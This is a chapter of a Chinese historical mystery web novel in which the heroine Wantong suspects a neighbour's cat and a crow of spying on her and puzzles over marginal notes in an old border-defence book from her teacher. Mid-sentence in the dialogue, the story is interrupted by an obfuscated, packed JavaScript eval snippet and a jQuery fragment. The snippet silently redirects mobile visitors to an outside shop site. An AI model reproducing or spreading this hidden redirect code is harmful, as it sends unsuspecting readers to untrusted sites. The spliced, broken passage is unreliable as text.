书院散学，已是黄昏时分。
晚桐经过书院后巷，远远瞧见沈惊鸿蹲在墙根底下，手里捏着条小鱼干，正喂一只花猫。
那猫她认得，常翻墙来家里厨房偷嘴，阿檀撵过好几回，它照来不误，脸皮厚得跟城墙拐角似的。
沈惊鸿没抬头，却知道晚桐在瞧他，嘴角斜斜一挑，拍拍手站起来，笑嘻嘻地道：“江姑娘，也有兴致来喂喂年糕？”
晚桐走过去，看看啃鱼干啃得头都不抬的猫，又看看他，抬手指了指他肩头，那里落着一撮黄白相间的猫毛。
“它是你的猫？”
“是啊，它吃了你家不少东西，你才晓得么？”
年糕竟是沈惊鸿的猫。
这猫隔三差五从院墙翻进来，有时舔着爪子从厨房溜溜达达出来，有时从书房窗台上跳下来，爪子上还沾着墨。
她只当是猫淘气，从没往别处想。
却不想，它竟是有主的。
所以钱掌柜会知道她有账册，天香楼里会放着江明远的石砚，原来他们早就被盯上了。
猫自然不会看账本。
可猫认得回家的路。
她压下心底的惊涛骇浪，笑眯眯地抱起那猫儿，没人知道她心里已经转了好几道弯。
眼前这人，吊儿郎当往墙根一蹲，看着跟没骨头似的，可那黑鸦三天两头在她房外转悠，自己的账册又被人摸得清清楚楚。
这猫儿翻墙，究竟是来找吃的，还是替主子当探子来了？
沈惊鸿懒懒散散靠在墙上，含笑望着正撸猫的晚桐，不紧不慢地说：“从前我是把它养在家里的，可不知哪一日它忽然跑了出去，自此便不常回家了。”
说着，目光在年糕身上停了停，“不过它倒像没亏待自己。”
“它好像更喜欢你家厨房。”
“它在我家厨房，可不是去吃鱼干的。”晚桐弯了弯眼睛，“你要想让它回去，先把伙食费结了。”
沈惊鸿嘴角往下撇了撇，“小气劲儿。果然不像江大人。”
“我像我娘。”晚桐眨眨眼，“你认识？”
沈惊鸿的手停在猫耳朵上，没有否认。
“这猫隔三差五翻墙去你家，”他轻声说，“你的事，它比我知道得还多。”
晚桐没接话，冲年糕眨了眨眼，放下猫儿便朝停在路边的马车走去。
阿檀在一旁催她快些，她正走到巷口，闻言轻笑一声。
“对了，它在我家还偷吃过一回桂花糕。”
“那个不用结，算我请的。”
沈惊鸿抱着年糕，一直看着那个背影转过巷口，再看不见。
回到屋里，晚桐点起灯。
她从书匣里取出一本书来，旧得发黄，边角磨得泛白，封面上《昭宁边防纪要》几个字墨色沉沉。
翻动时她还在想，自己一个小女子，又上不得战场，言夫子给她这本书做什么。
她来书院日子不算长，和言夫子也说不上亲近。
这样一本一看便是私藏多年的旧书，怎么随手就给了她？
她那时便想开口问，却见言夫子已经重新低下头去，像是不打算再说什么了。
故而她只是道了谢，把书拢在袖子里就回来了。
说起来也怪不好意思的。
金丝缠那桩案子了结之后，言夫子便让她得空去一趟藏书楼，她应得好好的，转头便忘了，一忘就是这么多天。
言夫子在藏书楼空等了多少回，她没忍心细想。
藏书楼在书院东北角，门前两棵老槐树把门脸遮去大半，不仔细找还真容易错过。
她推门进去时，满室都是旧书的气味，倒也不难闻，是一股冰冰凉凉的清苦香，闻着叫人心静。
阳光从高窗上落下来，窄窄的一束，正好打在言夫子身上，看起来很是神圣。
言夫子不问世事，除了授课便是在这儿读书抄书，不管什么时候来，总见他安安静静坐着。
他坐在最里面靠窗的位置，听见脚步声，抬头瞟了一眼，从旁边拿起一本书，推到晚桐面前。
“这本你拿去看看。”
正是这本《昭宁边防纪要》。
昭宁年间的，纸页已经发黄发脆，有图有画，字里行间挤满了批注，一笔一画极为端正，想来记下这些的是个极认真的人。
翻着翻着，有一张字条自书页间飘落，当中一行字墨迹稍显凌乱。
“吾儿百日，北境大雪，归期未定。”
比正文淡，比旁的批注也淡，像是写字的人在那支笔上犹豫了很久，才落下这几个字。
与字条夹在一处的，还有一张折叠着的边防舆图，展开来看，山脊水脉都勾画得一丝不苟。
年糕又从窗外跳了进来，径直走到晚桐膝上，缩成一团。
晚桐望着那一行字出神。
他写下这行字的时候，是愧疚，是无奈，还是只在一个太冷的夜晚，把说不出口的话写在无人知道的纸条上，夹进常看的书页里？
就像开花奶奶的《山河勘测录》。
那时开花奶奶心里想的又是什么？
画那些山脊水脉的时候，心里头想的会是谁？
他们都在书页的边角上，在不属于正文的地方，留下了自己来过这世上的痕迹。
那些字挤在缝隙里，不显眼，可每一笔都写得端端正正，像是怕被人看见，又像是怕没人看见。
窗外传来翅膀扑棱的声音。
年糕从她膝上一跃而起，却“咚”的一声撞在窗棂上。它冲着外面飞过的黑鸦咕噜了两声，随即若无其事地坐下来舔爪子，假装什么都没发生。
晚桐弹了一下它脑门，又揉了揉它的脑袋，笑道：“真是笨猫，你又没生着翅膀，去追那会飞的做什么。”
等等。
刚才那飞走的……是黑鸦。
这一回，竟出现在她的窗外。
她低头看了看怀里的年糕。
猫儿正在她这儿蹭吃蹭喝蹭暖和，外头又有黑鸦飞来飞去的。
猫儿是沈惊鸿，难道这黑鸦也是沈惊鸿的？
这人到底想做什么？
是在盯梢么？
她点了点年糕的脑门儿，自言自语般小声说了句：“你那个主子，到底是个什么来路？”
年糕喉咙里咕噜一声，算作回答。
说了跟没说一样。
这时阿檀在外面喊道：“小姐！枣泥酥要凉了！”
晚桐应了一声，把猫从膝上挪开，起身走到门口。
又像想起了什么，折回去合上了那本翻开的书。
第二日经义课后，晚桐追上言夫子。
“夫子，你可知那孩子现在在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547058|203756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哪里？”她站在身后一尺的地方。
言夫子脚步顿了一下，没有回头。
“不知道。”
声音从前面传过来，被廊风吹得有些散，“很多年没有消息了。”
“夫子，你可知这书是谁写的？”
“知道。”言夫子抬头望了望天，答道：
“一个……故人。”
晚桐低头看了看手里的旧书，又抬头望了望言夫子的背影。
他在回廊转角处，肩膀微微往左偏了一下，像是在避让什么。
可转角处什么都没有，只有一根廊柱，和一地被风吹乱的落叶。
落叶被他的袍角带起来，又落回地上。
她忽然想起开花奶奶。
开花奶奶站在茫崖村的槐树底下，看着花落如雪，偶尔也会往右边侧一下头，好像身边还站着一个人。
和言夫子一样。
一左，一右。
那时候晚桐以为她是在躲阳光，如今看来却不是。
言夫子刚刚往左边偏了一下肩膀，和开花奶奶往右边侧头的动作，一模一样。
他们都在避让同一样东西，那个已经不在那里的故人。
开花奶奶避让的是谁？
言夫子避让的又是谁？
他们各自心里都有一个空掉的位置，恰好一左一右。
晚桐忽然喊了一声：“夫子，这图是你画的？画得比楚夫子的板书好看多了。”
言夫子的脚步顿了一下，没有回头，但背在身后的手微微抬了抬，像是在空中虚点了点，意思是“少拍马屁”。
晚桐笑起来，把那张舆图仔细折好，收进袖子里。
折的时候，手指碰到了纸上的折痕，那些折痕被磨得起了毛边，她放轻了力道，怕把它折断了。
这张图被折过太多回，叠痕已经起了毛，再折一次就会碎。
可言夫子没有把它丢了。
他留了三十多年。
故人。
故人之物。
故人之书。
故人之子。
她转过身，走回课室，再次翻开那本《昭宁边防纪要》。
“粮道不可经朔州，朔州水浅，夏汛时船不能行，冬冻时冰不能承，改走代州可省七日。”
这行字写的是粮草转运。
而三十年前昭宁军需司的亏空，正是从青石沟的那场粮草转运开始的。
那时军需司的主事是周世荣，而周世荣已经死了将近二十年。
写批注的人在三十年前就在北境。
他勘过粮道，走过朔州，知道哪里水浅、哪里冻冰。
他可能是军中的行军参赞，或者粮道勘定官，或者是……和周世荣并肩站过的人。
他认识周世荣。
三十年前就在北境。
那人在他的孩子百日那天，遭遇大雪封路，回不去心心念念的家。
他写下这些时，想的是回不去的家，还是护不住的同袍？
晚桐盯着那行批注看了许久，心里忽然浮起一个念头。
言夫子说，这是故人之书。
而他提起“故人”时那微微偏开的肩膀，和开花奶奶避让空位的动作何其相似。
那么这个在书页间留下字迹的人，会不会就是言夫子自己？
他到底是谁？